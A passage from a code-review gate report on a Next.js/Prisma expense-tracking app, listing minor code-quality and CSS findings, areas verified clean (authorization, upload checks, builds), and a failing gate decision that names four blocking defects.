import { expenseItemsForProject } from "@/lib/queries/expenses"; // line 3

...

const project = await prisma.project.findUnique({ ... }); // lines 22, 33

It is the ONLY page under app/(app)/ that imports `@/lib/prisma` directly

(verified across the route tree). It even imports lib/queries/expenses on the

very next line for its other query — so it is inconsistent with itself.

**Why it matters:** lib/queries is where query concerns (memoization, select

shape, sort whitelists) live; a query outside it does not get them — which is

exactly why P2f (the duplicate round trip) exists. The layering violation and

the perf bug are the same defect seen twice.

**Recommended fix:** Move it to lib/queries/masters.ts as a `cache()`-wrapped

`getProject(id)`. Resolves P2f simultaneously.

**Risk of change:** Low — pure relocation.

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ5 — P3

**File:** all 9 list pages (see D1 for the line numbers)

**Location:** each page's `buildHref`

**Category:** efficiency / correctness-adjacent

**Problem:** Re-sorting preserves the current page number.

**Evidence:** `Object.entries({ ...params, ...extra })` — `params` (from

parseListParams) carries `page`, and `extra` for a sort click is only

`{ sort, dir }`. So the emitted href keeps `page=5`.

**Why it matters:** A user on page 5 of 6 who clicks a column header gets page 5

of the newly-sorted set — a different, arbitrary slice, and on an uneven final

page possibly a near-empty one. Standard behavior is to return to page 1 on

re-sort. Raised as P3 not P2 because it is a UX wrinkle, not data loss, and it

is uniform across all nine pages (so at least it is consistently wrong).

**Recommended fix:** Fold `page: 1` into the sort-href construction — naturally

handled once D1's shared helper exists.

**Risk of change:** Observable behavior change on every list screen. Confirm it

is the intended UX before changing; do NOT auto-fix.

**Fixed:** NO — behavior-changing.

--------------------------------------------------------------------------------

[css-dry] C2 — P3

**Concept:** "empty-cell em-dash placeholder"

**Files:**

app/(app)/expense-summary/[project]/page.tsx:50

components/forms/ExpenseForm.tsx:156

components/forms/ExpenseForm.tsx:169

**Evidence:** identical in all three —

<span className="text-sm text-text-muted">—</span>

**Why these are the same concept:** All three mean "this record has no

attachment", rendered in the same visual slot (the Attachment column/cell),

and all three sit directly opposite an `<AttachmentChip>` in the same ternary.

A change to how "no value" reads — a different glyph, a screen-reader label,

a different grey — applies to all three.

**Recommended primitive:** Fold it into AttachmentChip as its null state (the

component already owns the non-null rendering), or a tiny `<EmptyCell />`.

AttachmentChip is the better home: it already handles the presence case in all

three of these spots, so the ternaries collapse entirely.

**Priority:** P3 — three instances, trivial markup, low drift cost.

**Risk of change:** Very low; identical output.

**Fixed:** NO — would have qualified for Step 3 auto-fix, but no write access.

--------------------------------------------------------------------------------

[css-performance] CP1 — P3

**File:** components/forms/ResetPasswordForm.tsx

**Location:** lines 154, 160, 173, 176, 180, 183

**Component:** ResetPasswordForm (strength meter + password-policy card)

**Problem:** Six raw `rgb(...)` literals where design tokens already exist for

the same values.

**Evidence:**

:154 className="text-[13px] text-[rgb(86,86,86)]"

:160 i < strengthBars ? "bg-status-success" : "bg-[rgb(230,230,230)]"

:173 stroke={rulesMet[i] ? "rgb(34,158,75)" : "rgb(163,163,163)"}

:176 rulesMet[i] ? "text-status-success" : "text-[rgb(163,163,163)]"

:180 stroke="rgb(163,163,163)"

:183 className="text-[13px] text-[rgb(163,163,163)]"

Two of these have exact tokens in tailwind.config.ts already:

rgb(86,86,86) = #565656 = `text.subtle` (config line 28)

rgb(34,158,75) = #229e4b = `status.success` (config line 77)

The file is inconsistent with itself about it: line 164 correctly uses

`text-status-success`, while line 173 hardcodes the same colour as a raw SVG

stroke nine lines away. rgb(163,163,163) (used 3×, the "rule not yet met"

grey) and rgb(230,230,230) (the empty strength bar) have no token at all.

**Why it matters:** tailwind.config.ts is heavily commented as the deliberate

single source of design truth for this app (see its lines 14-19, 23-29, 33-48,

62-85, all citing measured design-source evidence). Hardcoded literals bypass

that layer, so a token change silently misses this screen. Inline `stroke`

attributes additionally sit outside Tailwind's dedup/purge entirely.

**Recommended fix:** Use `text-text-subtle` for rgb(86,86,86) and

`stroke-status-success` / `currentColor` for rgb(34,158,75). Add two tokens for

the remaining greys — e.g. `text.disabled` (#a3a3a3) and `border.track`

(#e6e6e6) — following the same purpose-scoped naming the config already uses.

**Expected impact:** No visual change (identical values); restores token coverage.

**Risk of change:** Very low — verify the hex/rgb conversions are exact before

swapping.

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[css-performance] CP2 — P3

**File:** components/forms/ResetPasswordForm.tsx

**Location:** lines 173-175 and 180-182

**Component:** ResetPasswordForm (password-policy checklist)

**Problem:** The same 8-attribute inline checkmark `<svg>` is written twice in

one file, differing only in `stroke`.

**Evidence:** both blocks are —

<svg width="15" height="15" viewBox="0 0 20 20" fill="none" stroke={...}

strokeWidth="1.8" strokeLinecap="round" strokeLinejoin="round"

className="shrink-0" aria-hidden="true">

<path d="M4 10.5 L8 14.5 L16 5.5" />

</svg>

Line 173's stroke is conditional; line 180's is the fixed grey for the

"Not last 3 passwords" row that cannot be checked client-side (documented at

lines 20-22).

**Why it matters:** Small, single-file, low-stakes — hence P3. But it is literal

copy-paste including the path data, and the file already imports `lucide-react`

(line 7) for its Eye/EyeOff icons, so a `<Check>` from the icon set it is

already paying for would remove the inline SVG entirely.

**Recommended fix:** Extract a local `PolicyRule({ label, met })` covering both

the icon and its label span — that collapses lines 171-184 into one map plus

one static entry, and takes CP1's stroke literals with it.

**Expected impact:** ~10 fewer lines; one place to change the checkmark.

**Risk of change:** Low; verify the checkmark renders identically (the custom

path is not the same glyph as lucide's `Check` — if exact visual parity

matters, keep the path and just extract the component).

**Fixed:** NO — would have qualified for Step 3 auto-fix, but no write access.

================================================================================

AREAS CHECKED AND FOUND CLEAN

(recorded deliberately — every skill above asks for this rather than silent omission)

================================================================================

[security]

- Identity is established on EVERY request. middleware.ts:26-28's matcher

covers all paths bar /login and static assets, and its comment correctly

notes this also catches Server Action POSTs (dispatched to the page URL).

- Authorization is genuinely layered, not merely claimed. Layer 1 (edge,

cookie snapshot) middleware.ts:44-51; layer 3 (Node, DB-authoritative)

lib/permissions/guard.ts. guard.ts re-reads permissions from the DB on every

call and honours `sessionVersion` revocation (lines 33, 76) — so the edge

layer's documented staleness is safe by construction, as claimed.

- Every mutating expense action calls the Node guard directly:

requirePermission("expense:create") at lib/actions/expenses.ts:18,

requirePermission("expense:update") at :47 — independent of middleware.

- app/api/uploads/route.ts:33 calls checkPermission("attachment:upload") and

returns 401 rather than relying on middleware alone. Correct for a Route

Handler doing filesystem + DB writes.

- Upload hardening is real: extension allowlist NOT denylist (lines 13-26,

with a documented rationale for excluding .svg/.html/.js), extension↔MIME

cross-check (line 65), 2MB cap enforced server-side (line 53) as well as

client-side, and on-disk filename sanitized to `[^a-zA-Z0-9._-]` -> `_` with

a timestamp prefix (line 75) — path traversal not reachable.

- Self-service actions are correctly scoped. lib/actions/profile.ts never

accepts an id from the client; both actions derive it from

`requireActiveSession().uid` (lines 18, 78). changeMyPassword additionally

verifies the current password (line 89), enforces 3-password history reuse

(lines 99-109), bumps sessionVersion, and deletes the caller's own cookie

(line 142). No IDOR available on either.

- NO raw SQL anywhere: `grep -rn "\$queryRaw|\$executeRaw" app components lib`

-> no matches. All access is via Prisma's typed API. Sort keys — the obvious

injection surface for a `?sort=` param — are whitelisted through

lib/params.ts:62-81 (`orderBy`/`orderByMap`), and an unknown key falls back

silently rather than reaching the query (documented at lib/queries/expenses.ts:8-11).

- NO `dangerouslySetInnerHTML`, NO `eval`, NO `new Function` — grep across

app/, components/, lib/ returns nothing.

- NO `NEXT_PUBLIC_*` variables exist at all, so no secret can be leaking

through one. No hardcoded-looking credentials found in the audited files.

- Cookie handling uses a signed token verified via WebCrypto HMAC

(lib/auth.ts:136+); session revocation on password change works as designed.

[performance]

- `npx next build` succeeds. Shared First Load JS 87.3 kB; worst route 127 kB.

No oversized chunk, no barrel-import bloat, no obviously heavy dependency.

No bundle-size finding raised.

- Data fetching on 8 of the 9 list pages is already correct: page-bounded via

`skipTake(params)` and parallelized via `Promise.all` (orders/page.tsx:24-28,

expenses/page.tsx:22, admin/*/page.tsx:23, users/page.tsx:30-34). Only

expense-summary/page.tsx (P1f) and expense-summary/[project] (P4f) deviate.

- No N+1 in the list queries — relations are pulled with `include`, not

per-row lookups.

- No `<img>` tags; no `next/image` misuse to report because no images are

rendered by the audited pages. No external font `@import`/`<link>`; no

third-party scripts, so no `next/script` strategy concerns.

- `"use client"` usage is justified where it appears in the audited set:

ExpenseForm and ResetPasswordForm both need useState/useFormState/refs;

Pagination/SearchInput/FilterBar need useRouter/useSearchParams. None is a

candidate for demotion to a Server Component. The nine pages are correctly

Server Components with small client leaves.

- The single `useMemo` in the audited set (ExpenseForm.tsx:76, `today`) is

fine, and the one in ResetPasswordForm (line 93, `rulesMet`) is trivially

cheap — neither warrants a "remove the memo" finding.

[css-performance]

- tailwind.config.ts:4 — `content: ["./app/**/*.{ts,tsx}", "./components/**/*.{ts,tsx}"]`.

Correctly narrow; no node_modules scanning, no over-broad glob. Tailwind v3

with a matching v3-style config. No `safelist` at all.

- app/globals.css is 51 lines total: 6 `@layer components` classes

(.field-input, .field-control, .field-label, .field-error, .card, .link),

each with a documented reason. The dead `.btn*` rules were already deleted

rather than left behind (see its lines 12-15) — good hygiene, nothing to

flag. No hand-written rule duplicates a Tailwind utility.

- ZERO inline styles: `grep -rn "style={{" app components` -> no matches.

- ZERO expensive visual effects: `grep -rn "blur-|backdrop-|bg-gradient"

app components` -> no matches. No multi-layer shadow stacks. There is

therefore nothing to flag under "heavy effects", and nothing for the

animation skill's "animated + heavy-effect intersection" either.

[animation-performance]

- `grep -rn "transition-all" app components` -> NO MATCHES. Every transition

in the codebase names its property explicitly (transition-colors,

transition-transform, transition-opacity, transition-[width],

transition-[grid-template-rows]). This is the good pattern and worth

recording — `transition-all` is the single thing this skill flags even when

nothing looks broken, and the codebase has none of it.

- `grep -rn "animate-" app components` -> NO MATCHES. No keyframe animations,

no infinite/looping animations, nothing auto-playing, no carousels. The

"infinite animation burning battery off-screen" class of finding is empty.

- No staggered list-entrance animations, so no unbounded animated-element count.

[code-quality]

- `npx tsc --noEmit` exits 0.

- `npx next lint` reports no warnings or errors.

- No `any`, `as unknown as`, `@ts-ignore`, or `@ts-expect-error` in any of the

12 feature files. Types are specific throughout; the `unknown` on

ExpenseForm.tsx:34 (`amount: unknown`) is a deliberate, narrow accommodation

of Prisma's Decimal and is converted at the boundary (line 71) — correct, not

a finding.

- The one `eslint-disable` in the audited set (ResetPasswordForm.tsx:111,

react-hooks/exhaustive-deps) is accompanied by a substantive comment

(lines 102-105) explaining that the success path redirects server-side and

only the error path produces a state update. Justified.

- File sizes are proportionate: the largest audited file is ExpenseForm at 287

lines, which is a long linear form plus a repeater-column definition — long

because the UI is long, not because concerns are mixed. Not flagged, per the

skill's "a big file isn't automatically a problem" rule.

[css-dry]

- Evaluated and DELIBERATELY NOT FLAGGED: the nine list pages share an almost

identical shell — <PageHeader> / <ListToolbar> / <DataTable> / <Pagination>

with a `columns` array and a `buildHref`. This looks like a prime extraction

target and is not one. Each page already composes shared primitives (the

markup itself is not duplicated — only the composition is), and they differ

in real ways: column sets, filter definitions, permission codes, query

functions, empty-state copy. Collapsing them into one `<ListPage>` would

trade nine short readable files for one heavily-parameterized component with

nine call sites' worth of props. The genuine duplication in this cluster is

the `buildHref` FUNCTION (D1) and the icon-link MARKUP (C1) — both flagged —

not the page shell. Recording the judgment so it is visible as deliberate.

- components/ui/ already provides Button (CVA variants), DataTable, Modal,

Pagination, SearchInput, FilterBar, ListToolbar, RowActions, StatusBadge,

AttachmentChip, SubmitButton and a fields/ set. The audited pages use them

consistently; no page reimplements a primitive that exists (the C1 icon-link

is the one exception, and no shared primitive for it exists yet — that is a

"create X" finding, not a "use the existing X" one).

================================================================================

GATE DECISION

================================================================================

gate_status: FAIL

Rule applied (gate file, Step 4): PASS only if zero unresolved P1 findings

remain across all seven audits. Four remain — S1, S2 (security), P1f

(performance), D1 (dry-architecture) — none of them auto-fixable under Step 3's

constraints, and all four unfixable in this node regardless because it has no

write access.

P2/P3 findings are reported and do not block. No repo-specific override applies.

Blocking items, in the order worth addressing:

1. S1 lib/actions/expenses.ts:82-95 unscoped expenseItem.update (IDOR)

2. S2 lib/validation/schemas.ts:124 unvalidated attachment url -> stored XSS

3. P1f lib/queries/expenses.ts:64-95 unbounded expense-summary aggregation

4. D1 9 × app/**/page.tsx buildHref duplicated nine times

Also worth the implementer's attention though NOT counted against this gate:

8 unit tests fail on `npx vitest run`, three of the six failing files covering

this ticket's own feature files. That belongs to the unit-test gate; recorded

here because it materially affects whether the fixes above can be verified.

================================================================================